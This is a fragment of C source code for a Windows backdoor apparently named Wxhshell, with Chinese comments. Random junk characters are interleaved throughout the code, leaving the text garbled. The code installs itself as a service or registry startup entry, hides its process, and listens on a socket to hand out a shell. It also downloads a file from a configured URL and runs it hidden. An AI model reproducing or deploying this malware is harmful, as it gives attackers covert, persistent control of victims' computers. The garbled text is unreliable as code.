CloseHandle(hProcess); ;1{iF2jZ: %Lh-aP{[e hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u|_LR5S!j if(hProcess==NULL) return 0; kz7vbY 2cs?("8e% HMODULE hMod; e/]O<, * char procName[255]; c{'$=lR " unsigned long cbNeeded; ys&"r":I g^s+C Z if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wq:b j=j 7.7Cluh5, CloseHandle(hProcess); ['51FulDR $?]@_= if(strstr(procName,"services")) return 1; // 以服务启动 L<f-Ed9| tl{]gz return 0; // 注册表启动 ql!5m\ } _%A/ ) '\ph`Run // 主模块 8_^'(] int StartWxhshell(LPSTR lpCmdLine) uD. { $:%*gY4~76 SOCKET wsl; iN:G/ss4O BOOL val=TRUE;
s0C?Bb}? int port=0; $\0cJCQ3 struct sockaddr_in door; jHkyF`<+ fap|SMGt if(wscfg.ws_autoins) Install(); 9l]UE0yTL/ ppwd-^f3j port=atoi(lpCmdLine); w$DG=! ]yyU)V0Iu if(port<=0) port=wscfg.ws_port; rtB|N- +l2e[P+qA WSADATA data; /p"U if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +L`V[; B8bvp:Ho| if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; iyA*JCD setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4/*]` door.sin_family = AF_INET; bh= \ door.sin_addr.s_addr = inet_addr("127.0.0.1"); J>f
/u:. door.sin_port = htons(port); 3q'K5}
_ +O|_P`HBoI if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <ldid]o
# closesocket(wsl); c+szU}(f6( return 1; .Lr`j8 } :@:g*w2K q1N4X7<_ if(listen(wsl,2) == INVALID_SOCKET) { JiKImz closesocket(wsl); [WcS[](ob return 1; Q9`s_4 } keT?,YI Wxhshell(wsl); /- DKV~ WSACleanup(); DWF
>b )v${&H return 0; &tlR~?$e* ,DE(5iDS } fswZM\@ Eem 2qKj // 以NT服务方式启动 Ix( 6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,$HHaoog { ,3G$` DWORD status = 0; Zr\2BOcc.l DWORD specificError = 0xfffffff; fdd~e52f NY~ dM\ serviceStatus.dwServiceType = SERVICE_WIN32; w0#%AK serviceStatus.dwCurrentState = SERVICE_START_PENDING; LTg?5GwD\j serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \ua9thOG serviceStatus.dwWin32ExitCode = 0; kFS0i%Sr serviceStatus.dwServiceSpecificExitCode = 0; j FgZ}Xp serviceStatus.dwCheckPoint = 0; 5/Ydv
RB67 serviceStatus.dwWaitHint = 0; aF D="Zh Sv.KI{;v$ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \z2vV+f if (hServiceStatusHandle==0) return; y' 2<qj cge-'/8w% status = GetLastError();
$`^H:Djr if (status!=NO_ERROR) Zn?8\ { }phz7N9 serviceStatus.dwCurrentState = SERVICE_STOPPED; 'g. :MQ8 serviceStatus.dwCheckPoint = 0; '*8 serviceStatus.dwWaitHint = 0; ,yTN$K%M serviceStatus.dwWin32ExitCode = status; {\P?/U6~f serviceStatus.dwServiceSpecificExitCode = specificError; q A.+U:I8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); |c<XSX?ir return; )$MS
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v i:g{{Uuv serviceStatus.dwCurrentState = SERVICE_RUNNING; OlIT|bzkb serviceStatus.dwCheckPoint = 0; AdDQWJ^r serviceStatus.dwWaitHint = 0; t$aVe"uM if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6!*K/2:O } H!p!sn %(fL? // 处理NT服务事件,比如:启动、停止 |d5ggf.w VOID WINAPI NTServiceHandler(DWORD fdwControl) b21}49bHN { k"t>He switch(fdwControl) C,[L/! { [.M case SERVICE_CONTROL_STOP: ty':`) serviceStatus.dwWin32ExitCode = 0; QyTh!QM~` serviceStatus.dwCurrentState = SERVICE_STOPPED; IoQr+:_R serviceStatus.dwCheckPoint = 0; yU> T8oFh serviceStatus.dwWaitHint = 0; 'T%IvJ#Xu { AlUJ1^o) SetServiceStatus(hServiceStatusHandle, &serviceStatus); ri,2clp } Xe)Pg)J1 return; o\d |CE;> case SERVICE_CONTROL_PAUSE: TV?
^c?{5 serviceStatus.dwCurrentState = SERVICE_PAUSED; n:F@gZd` break; $,!hD\a case SERVICE_CONTROL_CONTINUE: p#)e:/Qy serviceStatus.dwCurrentState = SERVICE_RUNNING; ,Ak ^nX break; tzZ|S<e6=\ case SERVICE_CONTROL_INTERROGATE: 6!@0VI&P break; tAaYL
\~ }; *8/VSs SetServiceStatus(hServiceStatusHandle, &serviceStatus); JL@F~U9 } v<j2L"bj W^w d
([ // 标准应用程序主函数 6ezcS}:+ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~M*7N@D { sb'lZFSP~s sbzeY1 // 获取操作系统版本 Yi[4DfA OsIsNt=GetOsVer(); .a {QA GetModuleFileName(NULL,ExeFile,MAX_PATH); H%FM ^Wf
S\M` // 从命令行安装 ZHz^S)o\[s if(strpbrk(lpCmdLine,"iI")) Install(); B.El a FZeP<Ban // 下载执行文件 6F,/w: if(wscfg.ws_downexe) { %z=`JhE"Q if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jn~!V!++ WinExec(wscfg.ws_filenam,SW_HIDE); %t q& } f7.m=lbe P7'M],!9w if(!OsIsNt) { '\@WN]
// 如果时win9x,隐藏进程并且设置为注册表启动 )4PB<[u HideProc(); |%-YuD StartWxhshell(lpCmdLine); Rb?~ Rs\ } li@kLh else Urn if(StartFromService()) :u
AjV // 以服务方式启动 tO7I&LNE StartServiceCtrlDispatcher(DispatchTable); %U-Qsy8|D) else $]Jf0_ // 普通方式启动 5|5=Y/ StartWxhshell(lpCmdLine); aJa.U^1{ !f@XDW&R return 0; Trpgx }
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